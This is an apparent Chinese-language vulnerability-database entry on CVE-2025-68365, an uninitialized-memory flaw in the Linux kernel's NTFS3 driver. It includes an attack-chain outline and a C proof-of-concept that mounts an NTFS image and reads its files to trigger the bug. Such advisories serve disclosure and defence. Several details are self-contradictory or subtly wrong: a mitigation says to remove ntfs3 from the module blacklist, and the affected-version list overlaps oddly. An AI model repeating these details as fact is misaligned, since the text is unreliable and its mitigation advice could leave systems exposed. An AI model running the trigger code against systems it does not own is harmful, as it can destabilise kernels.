IPBUF安全漏洞报告
English
CVE-2025-68365 CVSS 5.5 中危

CVE-2025-68365 Linux内核NTFS3文件系统未初始化内存漏洞

披露日期: 2025-12-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-68365
漏洞类型
未初始化内存使用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel NTFS3 (fs/ntfs3)

相关标签

Linux内核漏洞NTFS3文件系统未初始化内存KMSAN本地权限提升拒绝服务CVE-2025-68365内核内存安全fs/ntfs3

漏洞概述

CVE-2025-68365是Linux内核中NTFS3文件系统驱动程序的一个内存安全漏洞。该漏洞由KMSAN(Kernel Memory Sanitizer)检测发现,涉及fs/ntfs3模块中多处未初始化内存使用问题。具体而言,在ntfs_read_hdr函数中,通过__getname()分配的内存(实为kmem_cache_alloc()调用)在使用前未被正确清零,导致未初始化内存值被读取和处理。这一问题可能引发不可预测的系统行为,包括数据泄露或本地拒绝服务风险。由于漏洞位于内核文件系统层,攻击复杂度较低,但需要本地低权限访问即可触发。该漏洞影响Linux内核的NTFS3文件系统驱动,该驱动用于支持Windows NTFS文件系统的读写操作。

技术细节

该漏洞存在于Linux内核NTFS3文件系统驱动的ntfs_read_hdr函数中。问题根源在于内存分配函数的不当使用:代码使用kmem_cache_alloc()分配内存,但该函数仅分配内存而不初始化,导致分配的内存区域可能包含残留的未定义数据。随后这些未初始化内存被传递给bcmp等函数进行比较操作,触发KMSAN的未初始化值检测警告。

技术细节包括:
1. 内存分配路径:__getname() -> kmem_cache_alloc()
2. 问题函数调用链:ntfs_read_hdr() -> bcmp()
3. 根本原因:kmem_cache_alloc()未对内存区域进行清零操作
4. 修复方案:将kmem_cache_alloc()替换为kmem_cache_zalloc(),后者在分配内存的同时自动将内存区域全部清零
5. 影响范围:本地低权限用户可通过触发NTFS3文件系统的特定操作(如读取NTFS卷头信息)来利用此漏洞

攻击链分析

STEP 1
步骤1
攻击者获得本地低权限用户访问权限
STEP 2
步骤2
准备包含特定NTFS元数据的恶意镜像或利用现有NTFS卷
STEP 3
步骤3
通过文件系统操作触发ntfs_read_hdr函数调用
STEP 4
步骤4
ntfs_read_hdr通过__getname()分配未初始化内存
STEP 5
步骤5
未初始化内存被传递给bcmp等函数进行处理
STEP 6
步骤6
KMSAN检测到未初始化值,触发警告或导致不可预测行为

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68365 PoC - Trigger uninitialized memory in NTFS3 ntfs_read_hdr // This PoC demonstrates the vulnerability by mounting a crafted NTFS image // Requires: Linux kernel with NTFS3 support enabled #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> #include <errno.h> /* * To trigger this vulnerability: * 1. Build kernel with KMSAN enabled * 2. Create a malicious NTFS filesystem image * 3. Mount it using NTFS3 driver * 4. Trigger ntfs_read_hdr() by reading directory entries * * The vulnerability occurs because: * - __getname() allocates memory via kmem_cache_alloc() * - This memory is used before being zeroed * - kmsan reports uninit-value in ntfs_read_hdr and bcmp */ int trigger_ntfs3_vulnerability(const char *ntfs_image_path) { const char *mount_point = "/tmp/ntfs_test_mount"; int ret; // Create mount point mkdir(mount_point, 0755); // Mount NTFS image using NTFS3 driver // This will trigger ntfs_read_hdr() when reading directory entries ret = mount(ntfs_image_path, mount_point, "ntfs3", 0, NULL); if (ret != 0) { fprintf(stderr, "Mount failed: %s\n", strerror(errno)); return -1; } // Trigger directory listing which calls ntfs_read_hdr system("ls -la /tmp/ntfs_test_mount/"); // Read files to trigger more ntfs_read_hdr calls system("find /tmp/ntfs_test_mount -type f -exec cat {} \; 2>/dev/null"); // Unmount umount(mount_point); rmdir(mount_point); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <ntfs_image_path>\n", argv[0]); return 1; } return trigger_ntfs3_vulnerability(argv[1]); }

影响范围

Linux Kernel < 5.15 (with NTFS3 enabled)
Linux Kernel < 5.16 (with NTFS3 enabled)
Linux Kernel < 5.17 (with NTFS3 enabled)
Linux Kernel < 5.18 (with NTFS3 enabled)
Specific commits: 192e8ce302f14ac66259231dd10cede19858d742
Specific commits: 7d52c592cf53f5bb7163967edc01d2d7d80de44a
Specific commits: a58e29849aef8d26554a982989a2190b49aaf8ed
Specific commits: a8a3ca23bbd9d849308a7921a049330dc6c91398
Specific commits: bdf38063fd15f2fc7361dc0b5d3c259741eab835

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1) 禁用NTFS3文件系统驱动,通过在内核命令行添加ntfs3.disable=1或从内核模块黑名单中移除ntfs3;2) 限制非特权用户对NTFS分区的访问权限;3) 监控系统日志中的KMSAN相关警告;4) 避免使用来源不明的NTFS存储设备;5) 考虑使用用户空间NTFS-3G驱动替代内核NTFS3驱动作为临时方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表